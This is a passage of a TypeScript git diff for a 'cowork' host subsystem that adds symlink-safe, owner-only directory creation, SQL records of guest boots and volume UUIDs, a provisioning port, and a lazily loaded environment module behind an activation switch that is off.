bindHost(host) { halt = async () => { const outcomes = await Promise.all(host.activeWorkspaces().map(workspaceId => host.stop(workspaceId, "shutdown").then(outcome => outcome.released, () => false))); return outcomes.every(Boolean); }; }, diff --git a/packages/core/src/cowork/host-env/guest-dirs.ts b/packages/core/src/cowork/host-env/guest-dirs.ts new file mode 100644 index 000000000..96d750575 --- /dev/null +++ b/packages/core/src/cowork/host-env/guest-dirs.ts @@ -0,0 +1,71 @@ +import { closeSync, constants as fsConstants, fchmodSync, fstatSync, lstatSync, mkdirSync, openSync, realpathSync } from "node:fs"; +import { join } from "node:path"; +import { CoworkGuestDirectoryError } from "../native/guest-dirs"; + +/** The outputs directory the host makes where the outputs share is served from (see `native/guest-dirs.ts` for the rules). */ +const SESSION_ID = /^[A-Za-z0-9][A-Za-z0-9_.-]{0,127}$/; +const OPEN_DIRECTORY = fsConstants.O_RDONLY | fsConstants.O_DIRECTORY | fsConstants.O_NOFOLLOW; + +/** `/` as a real directory owned by this user, mode 0700. Returns true when it was created, false when it already was exactly that. */ +export function ensureOwnedDirectory(root: string, name: string): boolean { + if (!SESSION_ID.test(name) || name === "." || name === "..") throw new CoworkGuestDirectoryError("invalid_name"); + let rootInfo; + try { rootInfo = lstatSync(root); } catch { throw new CoworkGuestDirectoryError("root_unusable"); } + if (!rootInfo.isDirectory() || rootInfo.isSymbolicLink() || realpathSync(root) !== root) throw new CoworkGuestDirectoryError("root_unusable"); + const path = join(root, name); + let created = false; + try { lstatSync(path); } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "ENOENT") throw new CoworkGuestDirectoryError("not_directory"); + // mkdir never follows a final symlink and fails with EEXIST when something appeared in the meantime; that case is checked below like any existing entry. + try { mkdirSync(path, { mode: 0o700 }); created = true; } catch (made) { if ((made as NodeJS.ErrnoException).code !== "EEXIST") throw new CoworkGuestDirectoryError("not_directory"); } + } + let fd = -1; + try { + fd = openSync(path, OPEN_DIRECTORY); + const info = fstatSync(fd); + if (!info.isDirectory()) throw new CoworkGuestDirectoryError("not_directory"); + if (info.uid !== process.geteuid?.()) throw new CoworkGuestDirectoryError("wrong_owner"); + if ((info.mode & 0o777) !== 0o700) fchmodSync(fd, 0o700); + } catch (error) { + if (error instanceof CoworkGuestDirectoryError) throw error; + throw new CoworkGuestDirectoryError("not_directory"); + } finally { if (fd >= 0) closeSync(fd); } + return created; +} + +/** The outputs preparer the native host uses: the outputs share root is `/cowork/workspaces//shared/outputs`. */ +export function createCoworkOutputsPreparer(home: string): { ensure(workspaceId: string, logicalSessionId: string): void } { + return { + ensure(workspaceId, logicalSessionId) { + if (!SESSION_ID.test(workspaceId)) throw new CoworkGuestDirectoryError("invalid_name"); + // The shared roots first (idempotent, same checks), so a workspace provisioned before the outputs share existed still gets its root. + ensureSharedDirectories(home, workspaceId); + ensureOwnedDirectory(join(realpathSync(home), "cowork", "workspaces", workspaceId, "shared", "outputs"), logicalSessionId); + }, + }; +} + + +/** The share-directory opener the native host uses: the path must already be canonical (its realpath is itself), and it is opened O_NOFOLLOW|O_DIRECTORY and described by the descriptor. */ +export function createCoworkShareDirectoryOpener(): { open(hostPath: string): { readonly fd: number; readonly device: string; readonly inode: string; close(): void } } { + return { + open(hostPath) { + if (realpathSync(hostPath) !== hostPath) throw new CoworkGuestDirectoryError("not_directory"); + const fd = openSync(hostPath, OPEN_DIRECTORY); + try { + const info = fstatSync(fd, { bigint: true }); + if (!info.isDirectory()) throw new CoworkGuestDirectoryError("not_directory"); + let closed = false; + return { fd, device: String(info.dev), inode: String(info.ino), close() { if (!closed) { closed = true; closeSync(fd); } } }; + } catch (error) { closeSync(fd); throw error; } + }, + }; +} + +/** `/cowork/workspaces//shared/{guidance,memory,outputs}`, each a real directory owned by this user (mode 0700), made if missing and never through a symlink. */ +export function ensureSharedDirectories(home: string, workspaceId: string): void { + if (!SESSION_ID.test(workspaceId)) throw new CoworkGuestDirectoryError("invalid_name"); + const workspace = join(realpathSync(home), "cowork", "workspaces", workspaceId); + ensureOwnedDirectory(workspace, "shared"); + for (const name of ["guidance", "memory", "outputs"]) ensureOwnedDirectory(join(workspace, "shared"), name); +} diff --git a/packages/core/src/cowork/host-env/guest-records.ts b/packages/core/src/cowork/host-env/guest-records.ts new file mode 100644 index 000000000..bfbb07ad5 --- /dev/null +++ b/packages/core/src/cowork/host-env/guest-records.ts @@ -0,0 +1,41 @@ +import type { RuntimeStateDb } from "../../runtime-state/db"; +import { CoworkGuestRecordError, type CoworkGuestEndProof, type CoworkNativeGuestRecords } from "../native/guest-records"; + +/** The SQL behind the native host's guest-records port (DOOR's migration 21 tables). Lives beside the environment, not in `native/`, which writes the database in one place only. */ +const END_PROOFS: ReadonlySet = new Set(["orderly-receipt", "new-boot", "owner-recover"]); +const GUEST_BOOT = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/; +const TOKEN = /^[A-Za-z0-9_.-]{1,160}$/; + +export class CoworkGuestRecords implements CoworkNativeGuestRecords { + constructor(private readonly rs: RuntimeStateDb, private readonly now: () => string = () => new Date().toISOString()) {} + recordHello(input: { workspaceId: string; incarnationId: string; leaseEpoch: number; guestBootId: string }): void { + if (!TOKEN.test(input.workspaceId) || !TOKEN.test(input.incarnationId) || !Number.isSafeInteger(input.leaseEpoch) || input.leaseEpoch < 1 || !GUEST_BOOT.test(input.guestBootId)) throw new CoworkGuestRecordError("invalid_record"); + this.rs.transaction(() => { + if (this.rs.db.query("SELECT 1 FROM cowork_workspaces WHERE workspace_id=?").get(input.workspaceId) === null) throw new CoworkGuestRecordError("unknown_workspace"); + const existing = this.rs.db.query<{ guest_boot_id: string }, [string, string]>("SELECT guest_boot_id FROM cowork_guest_boots WHERE workspace_id=? AND incarnation_id=?").get(input.workspaceId, input.incarnationId); + if (existing) { if (existing.guest_boot_id !== input.guestBootId) throw new CoworkGuestRecordError("boot_conflict"); return; } + // The boot id is unique across the table: a reused id (another incarnation's) is a conflict, not a second row. + try { + this.rs.db.run("INSERT INTO cowork_guest_boots(workspace_id,incarnation_id,lease_epoch,guest_boot_id,recorded_at) VALUES(?,?,?,?,?)", [input.workspaceId, input.incarnationId, input.leaseEpoch, input.guestBootId, this.now()]); + } catch { throw new CoworkGuestRecordError("boot_conflict"); } + }, { mode: "immediate" }); + } + recordEnd(input: { workspaceId: string; incarnationId: string; proof: CoworkGuestEndProof }): boolean { + if (!TOKEN.test(input.workspaceId) || !TOKEN.test(input.incarnationId) || !END_PROOFS.has(input.proof)) throw new CoworkGuestRecordError("invalid_record"); + const result = this.rs.db.run("UPDATE cowork_guest_boots SET ended_proof=?,ended_at=? WHERE workspace_id=? AND incarnation_id=? AND ended_proof IS NULL", [input.proof, this.now(), input.workspaceId, input.incarnationId]); + return result.changes > 0; + } + storeVolumeUuid(workspaceId: string): string | null { + const row = this.rs.db.query<{ store_volume_uuid: string | null }, [string]>("SELECT store_volume_uuid FROM cowork_workspaces WHERE workspace_id=?").get(workspaceId); + return row?.store_volume_uuid ?? null; + } + recordStoreVolumeUuid(workspaceId: string, uuid: string): "recorded" | "same" | "mismatch" { + if (!TOKEN.test(workspaceId) || !GUEST_BOOT.test(uuid)) throw new CoworkGuestRecordError("invalid_record"); + return this.rs.transaction(() => { + const row = this.rs.db.query<{ store_volume_uuid: string | null }, [string]>("SELECT store_volume_uuid FROM cowork_workspaces WHERE workspace_id=?").get(workspaceId); + if (!row) throw new CoworkGuestRecordError("unknown_workspace"); + if (row.store_volume_uuid === null) { this.rs.db.run("UPDATE cowork_workspaces SET store_volume_uuid=? WHERE workspace_id=?", [uuid, workspaceId]); return "recorded" as const; } + return row.store_volume_uuid === uuid ? "same" as const : "mismatch" as const; + }, { mode: "immediate" }); + } +} diff --git a/packages/core/src/cowork/host-env/provisioning.ts b/packages/core/src/cowork/host-env/provisioning.ts index 6cf2644b8..0b34d6373 100644 --- a/packages/core/src/cowork/host-env/provisioning.ts +++ b/packages/core/src/cowork/host-env/provisioning.ts @@ -4,22 +4,20 @@ import { CoworkError } from "../types"; import { timeMachineVolumeBackup, type CoworkVolumeBackup } from "../volume-backup"; import { CoworkVolumes, type CoworkVolumeAuthority, type CoworkVolumeError } from "../volumes"; +import type { CoworkGuestRuntimeOffer, CoworkProvisioningPort } from "../session-ports"; +import type { CoworkNativeGuestRecords } from "../native/guest-records"; +import { ensureSharedDirectories } from "./guest-dirs"; + /* - * The guest offer and the provisioning port (N2 S7B part 1, items 7 and 8). The SHAPES below are DOOR's (docs/research/2026-10-18-cowork-session-door-design.md - * sections 7.6 and 7.7). They are declared here, in this module's own words, until DOOR's D1 (`cowork/session-ports.ts`) merges; then the declarations are - * deleted and these functions are typed by theirs (structurally identical, so it is an import swap). + * The guest offer and the provisioning port (N2 S7B part 1, items 7 and 8; part 3 types them by the session door's own ports). The shapes are DOOR's + * (`cowork/session-ports.ts`, imported here), so what this module returns is exactly what the door's service calls. * - * NOTHING in the daemon builds either today. The offer is derived from the VERIFIED image the host will launch (the digest pin and the facts that image's manifest - * proves), never from a constant: an image that is not verified, or that does not prove the confined posture, offers nothing, so no tool that needs the guest - * compartment is ever named. + * NOTHING in the daemon builds either unless the production native environment exists (the activation seam is off). The offer is derived from the VERIFIED image the + * host will launch (the digest pin and the facts that image's manifest proves), never from a constant: an image that is not verified, or that does not prove the + * confined posture, offers nothing, so no tool that needs the guest compartment is ever named. */ -export interface CoworkGuestRuntimeOffer { - readonly profile: "host-query-v1"; - /** DOOR types this as its readiness-key union; the only key this slice can offer is a member of it. */ - readonly readiness: readonly "guest-compartment"[]; - readonly runtimeCapability: { readonly protocolVersion: 1; readonly capabilities: readonly string[]; readonly supportsConfinedGuestExecution: boolean }; -} +export type { CoworkGuestRuntimeOffer, CoworkProvisioningPort }; /** What the installed, signature-verified runtime image proves about itself. The reader that produces it (the image lane's manifest check) is injected; this module trusts nothing else. */ export interface CoworkVerifiedGuestImage { readonly baseImageDigest: string; @@ -36,12 +34,6 @@ export function coworkGuestRuntimeOffer(image: CoworkVerifiedGuestImage | null): return { profile: "host-query-v1", readiness: ["guest-compartment"], runtimeCapability: { protocolVersion: 1, capabilities, supportsConfinedGuestExecution: true } }; } -export interface CoworkProvisioningPort { - available(): boolean; - admit(principal: CoworkPrincipal): void; - provision(workspaceId: string, operationId: string): Promise<{ status: "applied" | "failed"; reason?: string }>; -} - /** * The allocate authority. The native `CoworkVolumeAuthority` refuses `allocate` on purpose (a launch never creates disks), so provisioning gets its own, which * permits `allocate` and nothing else: it cannot claim, open or release a disk, and it never confirms a stop. @@ -62,6 +54,8 @@ export interface CoworkProvisioningOptions { /** Records the pin (the lifecycle authority behind it is the caller's). Idempotent for the same digests, a mismatch throws. */ readonly pin: (workspaceId: string, digests: { baseImageDigest: string; runtimeImageDigest: string }) => unknown; readonly backup?: CoworkVolumeBackup; + /** Keeps the data volume's filesystem UUID per workspace (write-once; CR4 step 9). Absent: not kept here (the first start keeps it). */ + readonly guestRecords?: Pick; readonly capacities?: { data: number; environment: number }; } @@ -81,10 +75,14 @@ export function createCoworkProvisioningPort(options: CoworkProvisioningOptions) if (existing.length !== 2 || existing.some(volume => volume.state !== "allocated")) { volumes.allocate({ workspaceId, proof: {}, owner: { ...PROVISION_OWNER, runtimeImageDigest: image.runtimeImageDigest } }, capacities); } + // The shared directories the host-backed shares are served from (guidance, memory, outputs), made once, owned by this user, never through a symlink. + ensureSharedDirectories(options.home, workspaceId); + const data = volumes.records(workspaceId).find(volume => volume.purpose === "data"); + if (options.guestRecords !== undefined && data?.filesystemUUID != null && options.guestRecords.recordStoreVolumeUuid(workspaceId, data.filesystemUUID) === "mismatch") return { status: "failed", reason: "store_volume_mismatch" }; options.pin(workspaceId, { baseImageDigest: image.baseImageDigest, runtimeImageDigest: image.runtimeImageDigest }); return { status: "applied" }; } catch (error) { - const code = (error as Partial)?.code; + const code = (error as { code?: unknown })?.code; return { status: "failed", reason: typeof code === "string" ? code : "provision_failed" }; } }, diff --git a/packages/core/src/cowork/native-activation.ts b/packages/core/src/cowork/native-activation.ts index 037fb139d..bdd95d573 100644 --- a/packages/core/src/cowork/native-activation.ts +++ b/packages/core/src/cowork/native-activation.ts @@ -1,7 +1,6 @@ import { homedir } from "node:os"; import type { CoworkRepository } from "./repository"; import type { RuntimeStateDb } from "../runtime-state/db"; -import { createCoworkNativeProductionEnvironment } from "./host-env/environment"; import type { CoworkNativeEnvironment } from "./native-wiring"; /* @@ -12,6 +11,9 @@ import type { CoworkNativeEnvironment } from "./native-wiring"; * single constant below, `COWORK_NATIVE_ENVIRONMENT_ACTIVATED`, and it changes on the owner's word only (the session door's own switch is the other half). * Pinned by the anti-wiring test ("the production environment is built only through the activation seam, and the seam is off"): the seam answers `undefined`, only this file imports the builder, and the daemon calls this function lazily. * + * The host-env graph (`./host-env/*`: coordination, guards, launcher port, stores, volume identity) is loaded LAZILY, by a `require` that runs only + * once the switch is on and the environment is actually built. While the seam is off, production boot never loads it (pinned by `test/cowork/host-env-lazy.test.ts`). + * * It takes a thunk so that even the inputs (the environment, the real home directory) are not read while the seam is off. */ const COWORK_NATIVE_ENVIRONMENT_ACTIVATED: boolean = false; @@ -20,8 +22,16 @@ export interface CoworkNativeActivationContext { readonly home: string; readonly db: RuntimeStateDb; readonly records: CoworkRepository; readonly env: Readonly>; } +/** The one lazy load of the host-env graph: nothing under host-env/ is loaded until the seam is on and the environment is built. A literal path, so the compiled binary bundles it + * (`winter-core __host-env-lazy-probe` proves the require resolves inside the built binary; it loads the module, builds nothing and reads no home). */ +export function loadCoworkHostEnvironmentModule(): typeof import("./host-env/environment") { + return require("./host-env/environment") as typeof import("./host-env/environment"); +} export function coworkNativeProductionEnvironment(context: () => CoworkNativeActivationContext): (() => CoworkNativeEnvironment) | undefined { if (!COWORK_NATIVE_ENVIRONMENT_ACTIVATED) return undefined; const { home, db, records, env } = context(); - return () => createCoworkNativeProductionEnvironment({ home, db, records, coordination: { env, homeDirectory: homedir() }, executablePath: process.execPath }); + return () => { + const hostEnv = loadCoworkHostEnvironmentModule(); + return hostEnv.createCoworkNativeProductionEnvironment({ home, db, records, coordination: { env, homeDirectory: homedir() }, executablePath: process.execPath, ...(env.WINTER_PROFILE === "dev" ? { launcherIdentifier: hostEnv.COWORK_LAUNCHER_DEV_IDENTIFIER } : {}) }); + }; } diff --git a/packages/core/src/cowork/native-wiring.ts b/packages/core/src/cowork/native-wiring.ts index 7ca3b7a52..c44f40f42 100644 --- a/packages/core/src/cowork/native-wiring.ts +++ b/packages/core/src/cowork/native-wiring.ts @@ -1,11 +1,14 @@ import type { AdmissionOwner, CoworkAdmissionLedger } from "./admission"; import type { CoworkGuestStartPort } from "./service"; import { CoworkImagePins, type CoworkImageDigests } from "./images"; +import { CoworkError } from "./types"; import type { CoworkRepository } from "./repository"; import type { RuntimeStateDb } from "../runtime-state/db"; import { CoworkVolumes } from "./volumes"; import type { CoworkVolumeBackup } from "./volume-backup"; import { CoworkNativeAuthority } from "./native/authority"; +import type { CoworkNativeGuestRecords } from "./native/guest-records"; +import type { CoworkProvisioningPort } from "./session-ports"; import { CoworkNativeHost, type CoworkLauncherPort, type CoworkNativeHostDeps, type CoworkNativeImagePins, type CoworkNativeRunning, type CoworkNativeStartRequest } from "./native/host"; import { CoworkNativePower } from "./native/power"; import { COWORK_NATIVE_LIMITS, coworkNativeHostStopWaitMs } from "./native/protocol"; @@ -55,6 +58,13 @@ export interface CoworkNativeEnvironment { /** Called at shutdown, after the guests were drained: timers stopped, the ledger closed. */ readonly close?: () => void; readonly journal?: CoworkNativeLaunchJournalPort; + /** The host's durable guest records (the boot at `hello`, its end proof, the data volume's UUID). Absent: nothing is recorded and no boot is attested as ended. */ + readonly guestRecords?: CoworkNativeGuestRecords; + /** The outputs directory preparer and the share directory opener (see `native/host.ts`). Absent: nothing is created, and a start that asks for shares is refused. */ + readonly outputs?: { ensure(workspaceId: string, logicalSessionId: string): void }; + /** The provisioning port of this environment (the door's shape). Reached only through `provisioningPort()` below, and only when an environment was injected. */ + readonly provisioningPort?: CoworkProvisioningPort; + readonly shareDirectories?: { open(hostPath: string): { readonly fd: number; readonly device: string; readonly inode: string; close(): void } }; /** Timers, clocks, checkpoints and the conversation source: everything of the host's own that is not one of the structural ports above. */ readonly hostOptions?: Partial>; } @@ -118,25 +128,49 @@ export class CoworkNativeWiring implements CoworkGuestStartPort { /** True once the host has been built (never at construction). */ get built(): boolean { return this.hostInstance !== undefined; } + /** The environment, built once (by the first thing that needs it: a provisioning question or a start). Throws `native_unavailable` when there is none, and a failed build is retried at the next ask. */ + private environment(): CoworkNativeEnvironment { + if (this.environmentInstance) return this.environmentInstance; + const make = this.options.environment; + if (!make) throw new CoworkNativeUnavailableError("native_unavailable"); + try { this.environmentInstance = make(); } catch { throw new CoworkNativeUnavailableError("native_unavailable"); } + return this.environmentInstance; + } + + /** The door's provisioning port over this wiring's environment, or undefined when no environment was injected (production). Lazy: nothing is built until the port is asked; + * until the environment exists and says so, `available()` is false and `admit` refuses `unsupported_topology`. */ + provisioningPort(): CoworkProvisioningPort | undefined { + if (!this.options.environment) return undefined; + const port = (): CoworkProvisioningPort | undefined => { try { return this.environment().provisioningPort; } catch { return undefined; } }; + return { + available: () => { try { return port()?.available() === true; } catch { return false; } }, + admit: principal => { const inner = port(); if (inner === undefined) throw new CoworkError("unsupported_topology"); inner.admit(principal); }, + provision: async (workspaceId, operationId) => { + const inner = port(); + // No port in the environment is NOT a definite failure (a `failed` answer concludes a never-booted creation for good): it throws, which the service treats as + // uncertain and retries at the next resume. Only the port itself may say `failed`. + if (inner === undefined) throw new CoworkError("unsupported_topology"); + try { return await inner.provision(workspaceId, operationId); } catch { return { status: "failed", reason: "provision_failed" }; } + }, + }; + } + /** Build the host from the environment, once. Throws `native_unavailable` when there is none. */ private host(): CoworkNativeHost { if (this.hostInstance) return this.hostInstance; - const make = this.options.environment; - if (!make) throw new CoworkNativeUnavailableError("native_unavailable"); - let environment: CoworkNativeEnvironment; - try { environment = make(); } catch { throw new CoworkNativeUnavailableError("native_unavailable"); } - this.environmentInstance = environment; + const environment = this.environment(); const { db, records, home } = this.options; const registry = new CoworkNativeStopRegistry(); const authority = new CoworkNativeAuthority({ records, hostBoot: environment.hostBoot, registry }); const volumes = new CoworkVolumes(db, home, authority.volumes, environment.backup, undefined, authority.filesystem); const power = new CoworkNativePower(db); const recovery = new CoworkNativeRecovery({ records, volumes, admission: environment.admission, power, registry, hostBoot: environment.hostBoot, receiptKey: () => this.receiptKey, - receipts: environment.receipts, ownerRecover: environment.ownerRecover, guards: typeof environment.guards === "function" ? environment.guards({ volumes }) : environment.guards, journal: environment.journal, now: environment.hostOptions?.now }); + receipts: environment.receipts, ownerRecover: environment.ownerRecover, guestRecords: environment.guestRecords, guards: typeof environment.guards === "function" ? environment.guards({ volumes }) : environment.guards, journal: environment.journal, now: environment.hostOptions?.now }); const images = bindCoworkImagePins(this.options.imagePins ?? readOnlyImagePins(db)); this.drainBudgetMs = environment.hostOptions?.timeouts?.drainBudgetMs ?? COWORK_NATIVE_LIMITS.drainBudgetMs; this.hostInstance = new CoworkNativeHost({ ...environment.hostOptions, records, volumes, admission: environment.admission, authority, power, recovery, registry, hostBoot: environment.hostBoot, - launcher: environment.launcher, images, receiptKey: () => this.receiptKey, journal: environment.journal, daemon: environment.daemon }); + launcher: environment.launcher, images, receiptKey: () => this.receiptKey, journal: environment.journal, daemon: environment.daemon, + ...(environment.guestRecords ? { guestRecords: environment.guestRecords } : {}), ...(environment.outputs ? { outputs: environment.outputs } : {}), ...(environment.shareDirectories ? { shareDirectories: environment.shareDirectories } : {}) }); try { environment.bindHost?.({ activeWorkspaces: () => this.hostInstance!.activeWorkspaces(), stop: (workspaceId, reason) => this.hostInstance!.stop(workspaceId, reason) }); } catch { /* an environment that cannot bind has no pressure halt; the guard then reports unconfirmed */ } return this.hostInstance; } diff --git a/packages/core/src/cowork/native/fd-channel.ts b/packages/core/src/cowork/native/fd-channel.ts index e7cf569a9..000478654 100644 --- a/packages/core/src/cowork/native/fd-channel.ts +++ b/packages/core/src/cowork/native/fd-channel.ts @@ -317,6 +317,11 @@ export function runHubLoop(controlFd: number, post: (id: number, event: ReceiveE /** The ONE worker thread that serves every receiver in this process. Bun leaves one descriptor open per Worker it ever starts (a * Worker that does nothing reproduces it), so a worker per launch would cost one descriptor per launch for the life of the daemon; * a shared hub costs one in total. It is created on first use and unref'd, so it never keeps the process alive. */ +/** The compiled daemon reaches the receiver thread by this PLAIN relative string (a `new URL(..., import.meta.url).href` hangs silently in a compiled binary, WS-23 spike #1), + * resolved against the binary's `$bunfs` root. It names `packages/cli/src/fd-receiver-worker.ts`, a third `compile:core` entrypoint; `cli/test/compile-core.test.ts` pins the + * pairing with the scripts and `bun run verify:fd-receiver` proves it on the real binary. */ +export const COMPILED_FD_RECEIVER_WORKER_ENTRY = "./fd-receiver-worker.ts"; +const inCompiledBinary = (): boolean => import.meta.url.includes("$bunfs") || (typeof Bun !== "undefined" && typeof Bun.main === "string" && Bun.main.includes("$bunfs")); class ReceiverHub { private readonly worker: Worker; private readonly control: [number, number]; @@ -325,7 +330,7 @@ class ReceiverHub { private broken = false; constructor() { this.control = socketPair("stream"); - this.worker = new Worker(new URL("./fd-receiver-worker.ts", import.meta.url).href); + this.worker = new Worker(inCompiledBinary() ? COMPILED_FD_RECEIVER_WORKER_ENTRY : new URL("./fd-receiver-worker.ts", import.meta.url).href); (this.worker as unknown as { unref(): void }).unref(); // Bun's Worker has it; the DOM typings do not this.worker.onmessage = (message: MessageEvent<{ id: number; event: ReceiveEvent }>) => { const { id, event } = message.data, sink = this.sinks.get(id); diff --git a/packages/core/src/cowork/native/guest-dirs.ts b/packages/core/src/cowork/native/guest-dirs.ts new file mode 100644 index 000000000..8dca038b3 --- /dev/null +++ b/packages/core/src/cowork/native/guest-dirs.ts @@ -0,0 +1,31 @@ +/* + * The rules for the directories the host makes for a conversation (N2 S7B, DOOR's NEEDS from D3b and the plan view); the file-system code is `host-env/guest-dirs.ts`. + * + * - The outputs directory: `/`, made on the HOST where the outputs share is served from (contract revision 3: the outputs share is a + * host directory under the workspace's `shared/`), before the conversation set that names it is sent. Idempotent, and it never follows a symlink: an existing entry that is + * not a real directory, or a root that is not one, refuses. It is opened with O_NOFOLLOW|O_DIRECTORY and checked on its own descriptor. The group ownership the guest + * sees is the folder server's mapping (the host user cannot chown to a guest gid), so no chown is attempted here. + * - The plan view `/workspace/plan//` is a GUEST-side directory (it lives on the data disk, not on a share): PID 1 creates it root-side + * when the set names it. The host's part is the rule below: an epoch is never mounted again once a later one was. + */ + +export class CoworkGuestDirectoryError extends Error { + constructor(readonly code: "invalid_name" | "not_directory" | "wrong_owner" | "root_unusable" | "stale_epoch") { super(code); this.name = "CoworkGuestDirectoryError"; } +} + +/** `/workspace/plan//` (exactly that, epoch a canonical non-negative decimal), or null. */ +export function parseCoworkPlanView(guestPath: string): { readonly logicalSessionId: string; readonly epoch: number } | null { + const match = /^\/workspace\/plan\/([A-Za-z0-9][A-Za-z0-9_.-]{0,127})\/(0|[1-9][0-9]{0,8})$/.exec(guestPath); + return match ? { logicalSessionId: match[1]!, epoch: Number(match[2]) } : null; +} + +/** An epoch is never mounted again once a later one was seen for the same workspace and conversation (a stale plan scratch must not come back). The same epoch is + * fine (a restart of the same plan). In memory, so this is defence in depth only: the DOOR policy machine holds the durable epoch and always passes the current one; after a daemon restart this guard starts empty and DOOR's record is the authority. */ +export class CoworkPlanEpochGuard { + private readonly seen = new Map(); + admit(workspaceId: string, logicalSessionId: string, epoch: number): void { + const key = `${workspaceId}\u0000${logicalSessionId}`, last = this.seen.get(key); + if (last !== undefined && epoch < last) throw new CoworkGuestDirectoryError("stale_epoch"); + this.seen.set(key, Math.max(epoch, last ?? 0)); + } +} diff --git a/packages/core/src/cowork/native/guest-records.ts b/packages/core/src/cowork/native/guest-records.ts new file mode 100644 index 000000000..d3bb6b348 --- /dev/null +++ b/packages/core/src/cowork/native/guest-records.ts @@ -0,0 +1,31 @@ +/* + * The PORT for the host's durable records about a guest (N2 S7B, DOOR's migration 21 tables; the SQL lives in `host-env/guest-records.ts`): which guest boot belonged to which incarnation and what proved it ended, + * and the data volume's own filesystem UUID. NOTHING in the daemon constructs this today; the native wiring builds it with the host, which production never + * builds (the activation seam is off). + * + * - `cowork_guest_boots` is written at the guest's `hello` and its end proof only after a release the recovery accepted. `endedGuestBoots` (DOOR's read) is + * built from rows with a proof, so a boot whose end was never proven is never attested to the guest. A guest-written marker is not a proof here: the three + * kinds are exactly the D1 evidence kinds. + * - `store_volume_uuid` is the data volume's filesystem UUID, kept per workspace and compared at every start (CR4 step 9). It is write-once: a different value is a + * mismatch, never an update. + */ + +export type CoworkGuestEndProof = "orderly-receipt" | "new-boot" | "owner-recover"; + +export type CoworkGuestRecordFailure = "invalid_record" | "boot_conflict" | "unknown_workspace"; +export class CoworkGuestRecordError extends Error { + constructor(readonly code: CoworkGuestRecordFailure) { super(code); this.name = "CoworkGuestRecordError"; } +} + +/** The port the native host and the recovery use. Optional in both; absent means nothing is recorded and no boot is ever attested as ended. */ +export interface CoworkNativeGuestRecords { + /** At the guest's `hello`. Idempotent for the same boot id; a different boot id for the same incarnation is a conflict. */ + recordHello(input: { readonly workspaceId: string; readonly incarnationId: string; readonly leaseEpoch: number; readonly guestBootId: string }): void; + /** After a release the recovery accepted. Sets the proof once; never overwrites one. Returns whether a row was changed. */ + recordEnd(input: { readonly workspaceId: string; readonly incarnationId: string; readonly proof: CoworkGuestEndProof }): boolean; + /** The data volume's recorded filesystem UUID, or null. */ + storeVolumeUuid(workspaceId: string): string | null; + /** Write-once. `recorded` the first time, `same` for the same value, `mismatch` for a different one (nothing is changed). */ + recordStoreVolumeUuid(workspaceId: string, uuid: string): "recorded" | "same" | "mismatch"; +} + diff --git a/packages/core/src/cowork/native/host.ts b/packages/core/src/cowork/native/host.ts index c780017da..02a498366 100644 --- a/packages/core/src/cowork/native/host.ts +++ b/packages/core/src/cowork/native/host.ts @@ -4,10 +4,12 @@ import type { CoworkRepository } from "../repository"; import type { CoworkVolumeOwner, CoworkVolumeRecord, CoworkVolumeRequest, CoworkVolumes } from "../volumes"; import type { VolumeFilesystemPlan, VolumeFilesystemReceipt } from "../volume-filesystem"; import { CoworkNativeAuthority, type CoworkNativeChannelBinding, type CoworkNativeLink } from "./authority"; -import { CoworkNativeRuntimeStreams, CoworkNativeMuxSequence, serializeCoworkNativeMuxFrame, COWORK_NATIVE_LIMITS, coworkNativeConversationsAreBound, type CoworkNativeConversation, type CoworkNativeRuntimeProfile, coworkNativeHostStopWaitMs, coworkNativeLauncherKillMs, coworkNativeScopeDigest, sortedCanonical, type CoworkNativeMuxFrame, type CoworkNativeScope, type CoworkNativeToDaemon, type CoworkNativeToLauncher, type CoworkNativeUncertainReceipt, type CoworkNativeVolumeIdentity } from "./protocol"; +import { CoworkNativeRuntimeStreams, CoworkNativeMuxSequence, serializeCoworkNativeMuxFrame, COWORK_NATIVE_LIMITS, coworkNativeConversationsAreBound, type CoworkNativeConversation, type CoworkNativeRuntimeProfile, coworkNativeHostStopWaitMs, coworkNativeLauncherKillMs, coworkNativeScopeDigest, sortedCanonical, type CoworkNativeMuxFrame, type CoworkNativeShareKind, type CoworkNativeShareRecord, type CoworkNativeGuestShare, type CoworkNativeScope, type CoworkNativeToDaemon, type CoworkNativeToLauncher, type CoworkNativeUncertainReceipt, type CoworkNativeVolumeIdentity } from "./protocol"; import type { CoworkNativeReceiptKey } from "./receipt-mac"; import { CoworkNativePower, CoworkNativePowerError, type CoworkPowerKey } from "./power"; import { CoworkNativeRecovery, CoworkNativeSimulatedCrash, describeNativeError, type CoworkNativeRecoveryReport } from "./recovery"; +import { CoworkGuestDirectoryError, CoworkPlanEpochGuard, parseCoworkPlanView } from "./guest-dirs"; +import type { CoworkNativeGuestRecords } from "./guest-records"; import { CoworkNativeStopEvidenceError, mintControllerInstanceId, mintVolumesFreeToken, mintOrderlyStopProof, type CoworkNativeEvidenceKind, type CoworkNativeHostBoot, type CoworkNativeLaunchEntry, type CoworkNativeLaunchJournalPort, type CoworkNativeObserved, type CoworkNativeStopRegistry } from "./stop-proof"; /* @@ -28,7 +30,7 @@ import { CoworkNativeStopEvidenceError, mintControllerInstanceId, mintVolumesFre export { CoworkNativeSimulatedCrash }; -export type CoworkNativeHostFailure = "busy" | "not_stopped" | "not_allocated" | "owner_held" | "bad_image_digest" | "bad_boot" | "launcher_refused" | "protocol" | "timeout" | "guest_fault" | "start_failed" | "not_running" | "closed" | "no_receipt_key"; +export type CoworkNativeHostFailure = "busy" | "not_stopped" | "not_allocated" | "owner_held" | "bad_image_digest" | "bad_boot" | "launcher_refused" | "protocol" | "timeout" | "guest_fault" | "start_failed" | "not_running" | "closed" | "no_receipt_key" | "store_lost" | "prepare_failed"; export class CoworkNativeHostError extends Error { constructor(readonly code: CoworkNativeHostFailure, readonly detail?: string, options?: { cause?: unknown }) { super(detail ? `${code}: ${detail}` : code, options); this.name = "CoworkNativeHostError"; } } @@ -74,6 +76,12 @@ export interface CoworkNativeHostDeps { readonly timers?: { every(ms: number, run: () => void): () => void }; /** This daemon process as the admission ledger knows it (pid, start token, boot id, instance nonce). */ readonly daemon: () => AdmissionOwner; + /** The durable guest records (DOOR's migration 21): the boot at `hello`, the data volume's UUID. Absent means nothing is recorded, no boot is ever attested as ended and the store volume is not compared. */ + readonly guestRecords?: CoworkNativeGuestRecords; + /** Creates `/workspace/outputs/` where the outputs share is served from, before the set is sent. Idempotent, never follows a symlink. Absent: nothing is created. */ + readonly outputs?: { ensure(workspaceId: string, 